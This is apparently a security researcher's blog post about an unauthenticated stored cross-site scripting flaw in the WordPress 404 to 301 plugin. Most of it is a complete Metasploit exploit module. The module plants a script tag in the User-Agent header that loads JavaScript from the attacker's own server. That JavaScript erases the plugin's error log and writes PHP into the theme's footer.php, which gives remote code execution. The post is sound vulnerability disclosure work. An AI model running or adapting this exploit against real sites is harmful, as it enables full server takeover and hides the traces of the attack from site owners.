Pwning WordPress with Cross-Site Scripting

Introduction

Last July we organized the Summer of Pwnage, which resulted in 118 security findings in WordPress Core and Plugins. By far the most found vulnerability is Cross-Site Scripting, 66% of the findings fall into this category. When targeting a WordPress Administrator, Cross-Site Scripting can result in a full compromise of the WordPress site. In this blog I'll describe one method to achieve this.

Stored Cross-Site Scripting vulnerability in 404 to 301

The vulnerability we're going to exploit is an unauthenticated stored Cross-Site Scripting vulnerability in the 404 to 301 WordPress Plugin. This plugin automatically redirects, logs and notifies all 404 page errors to any page using 301 redirect for SEO.

The vulnerability was discovered by Alyssa Milburn and allows for a Cross-Site Scripting attack against a logged on Administrator (that views the 404 error log). This issue can be exploited by using a specially crafted User-Agent and/or Referer header. It is resolved in 404 to 301 WordPress Plugin version 2.3.1.

The attack

The goal of the attack is to run arbitrary code on a WordPress server. To do so, the attack is divided into following steps:

  • Inject Cross-Site Scripting payload using the vulnerability in the 404 to 301 Plugin.
  • Wait for an Administrator to view the 404 error log - this triggers the payload.
  • Fetch the 2n stage payload from a remote server, which:
  • clears the error log.
  • modifies a Theme (PHP) file; inject arbitrary PHP code.
  • visits the modified file to run the injected PHP code.

WordPress uses jQuery, which we can also use to perform our attack. In order to perform these actions we must also take into account that WordPress has measures implemented to mitigated Cross-Site Request Forgery attacks. Due to this we first need to obtain a valid anti-CSRF token (nonce). For example, if we would like to alter the file footer.php of the active WordPress Theme, we can do the following to get the token:

jQuery.ajax({
	url: 'theme-editor.php?file=footer.php',
	dataType: 'text',
	success: function(data) {
		var form = jQuery('<div>').html(data)[0].getElementsByTagName("form")[1];
		jQuery('body').append(form);
		
		_wpnonce = jQuery('form[name=template] input[type=hidden][name=_wpnonce]').val();
		_wp_http_referer = jQuery('form[name=template] input[name=_wp_http_referer]').val();
	
[...]

Metasploit exploit module

The attack described above was implemented in a Metasploit exploit module. If the exploit module is successful, a Meterpreter Session will be started on the target WordPress site. Before the attack is initiated the module first tries to determine whether the 404 to 301 Plugin is installed and activated. The code for the Metasploit exploit module is shown below:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::Remote::HttpServer

   def initialize(info = {})
      super(update_info(info,
         'Name'                => 'Stored Cross-Site Scripting in 404-to-301 plugin',
         'Description'      => 'Summer of Pwnage example module',
         'Platform'          => 'php',
         'License'            => MSF_LICENSE,
         'Author'             => 'Summer of Pwnage',
         'Payload'            => { 'BadChars'      => "'\"" } ,
         'Arch'                => ARCH_PHP,
         'Targets'            => [
            ['Automatic Targeting', { 'auto' => true }   ],
            ['Cross-Site Scripting in 404-to-301 plugin', { 'auto' => false } ],
            ],
            'DisclosureDate' => 'November 2016',
            'DefaultTarget'   => 0))

            register_options([
               OptInt.new('HTTPDELAY',      [false,
                'Number of seconds the web server will wait before terminating', 600]),
               OptString.new('URIPATH',   [ true, "The URI to used to serve JS payload", "/" ]),
               OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
            ], self.class)
   end

   def check
      begin
         res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,
          'wp-content/plugins/404-to-301/readme.txt'), })
          
         if (res && res.body.include?('404 to 301'))
         
            res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,
             rand_text_alpha_lower(10)),
               'redirect_depth' => 0})
               
            if (res && res.redirect?)
               @my_target = targets[1] if target['auto']
               return Exploit::CheckCode::Appears
            end
         end

         return Exploit::CheckCode::Safe
               
         rescue ::Rex::ConnectionError
            return Exploit::CheckCode::Safe
         end
   end

   def on_request_uri(cli, request)
      resp = create_response(200, "OK")
      resp.body = %Q|jQuery('*').hide();

_wpnonce = jQuery('input[type=hidden][name=_wpnonce]').val();
_wp_http_referer = jQuery('input[name=_wp_http_referer]').val();
   
data = 'action=bulk-all-delete&paged=1&action2=-1' +
'&_wpnonce=' + encodeURIComponent(_wpnonce) +
'&_wp_http_referer=' + encodeURIComponent(_wp_http_referer);

jQuery.post({
   url: 'admin.php?page=i4t3-logs',
   data: data
});

jQuery.ajax({
      url: 'theme-editor.php?file=footer.php',
      dataType: 'text',
      success: function(data) {
         var form = jQuery('<div>').html(data)[0].getElementsByTagName("form")[1];
         jQuery('body').append(form);
         
         _wpnonce = jQuery('form[name=template] input[type=hidden][name=_wpnonce]').val();
         _wp_http_referer = jQuery('form[name=template] input[name=_wp_http_referer]').val();
         theme = jQuery('form[name=template] input[name=theme]').val();
         scrollto = jQuery('form[name=template] input[name=scrollto]').val();
         newcontent = jQuery('form[name=template] #newcontent').val() + 
            '<?php #{payload.encoded} ?>';
         
         data = 'action=update&file=footer.php&submit=Update+File&docs-list=' +
                   '&_wpnonce=' + encodeURIComponent(_wpnonce) +
                   '&_wp_http_referer=' + encodeURIComponent(_wp_http_referer) +
                   '&theme=' + encodeURIComponent(theme) +
                   '&scrollto=' + encodeURIComponent(scrollto) +
                   '&newcontent=' + encodeURIComponent(newcontent);

         jQuery.post({
            url: 'theme-editor.php?',
            data: data,
            success: function(data) {
               jQuery.ajax({
                  url: '/',
                  timeout: 1000,
                  success: function(data) {
                     location.reload();
                  },
                  error: function(data) {
                     location.reload();
                  }
               });
            }
         });
      }
});|
      resp['Content-Type'] = 'text/javascript'
      cli.send_response(resp)
   end

   def exploit
      @my_target = target
      if @my_target['auto']
         check_code = check

         unless check_code == Exploit::CheckCode::Detected ||
          check_code == Exploit::CheckCode::Appears
          
            print_error("#{peer} - Failed to detect a vulnerable instance")
            fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance")
         end

         if @my_target.nil? || @my_target['auto']
            print_error("#{peer} - Failed to auto detect, try setting a manual target")
            fail_with(Failure::NoTarget,
             "#{peer} - Failed to auto detect, try setting a manual target")
         end
      end

      print_status("#{peer} - Exploiting #{@my_target.name}")
      
      js_url = 'http://' + datastore['LHOST'] + ':' + datastore['SRVPORT'].to_s +
       datastore['URIPATH']
      send_request_cgi({
         'method' => 'GET',
         'uri' => normalize_uri(target_uri.path, rand_text_alpha_lower(10)),
         'headers' => { 'User-Agent' => "<script src=#{js_url}></script>" },
      })
      
      begin
         Timeout.timeout(datastore['HTTPDELAY']) { super }
      rescue Timeout::Error
         # When the server stops due to our timeout, this is raised
      end
   end
end

Questions or feedback?